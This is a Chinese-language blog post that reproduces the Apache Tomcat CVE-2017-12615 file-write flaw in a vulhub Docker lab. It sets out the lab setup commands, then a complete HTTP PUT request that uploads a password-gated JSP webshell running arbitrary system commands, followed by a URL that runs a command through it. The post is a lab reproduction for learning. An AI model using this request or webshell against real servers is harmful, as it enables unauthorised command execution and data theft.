一、前言
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。
二、漏洞
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)。当存在漏洞的Tomcat 运行在 Windows 主机上,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
三、漏洞利用
3.1 前期准备
本来打算找一个真实的网站进行测试的,但是去看了看vulhub上正好有这个靶场,于是直接利用vulhub演示好了,没有风险还来的快,vulhub靶场的搭建步骤可以看Vulhub靶场在Centos7上的搭建
靶场:vulhub tomcat/CVE-2017-12615
系统:Centos7
抓包工具:Burp Suit v2.1
3.2 利用过程
①先搭建靶场环境
cd /home/vulhub-master/tomcat/CVE-2017-12615 #进入靶场目录,每个人的目录不一样
docker-compose up -d #启动容器
docker-compose ps #查看端口
②访问"192.168.63.141:8080"(每个人的IP不一样),靶场创建成功
③Burp Suit抓包,这个漏洞可以实现任意文件的写入,那么我们就可以写入一个后门文件,其中“1.jsp”是文件的名字与格式,写入内容就是下面的jsp木马,修改包里面的内容如下,发包时请先将注释删掉
PUT /1.jsp/ HTTP/1.1
Host: 192.168.63.141:8080 #这里是你的IP
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
④文件成功写入,接下来访问这个文件
http://192.168.163.141:8080/1.jsp?pwd=023&i=ls
参数 i 后面的就是命令语句
成功执行命令 ls
⑤实验完毕,记得关闭容器
docker-compose down
公众号已经将已发布资料和工具打包好了,关注公众号点击“资料领取”,就可以获取了,后续会更新更多资源,谢谢各位客官支持。
更多文章请关注公众号:星河疯客admin
万水千山总是情,点赞再走行不行的(ง •_•)ง
原文始发于微信公众号(星河疯客admin):Tomcat任意文件写入CVE-2017-12615漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论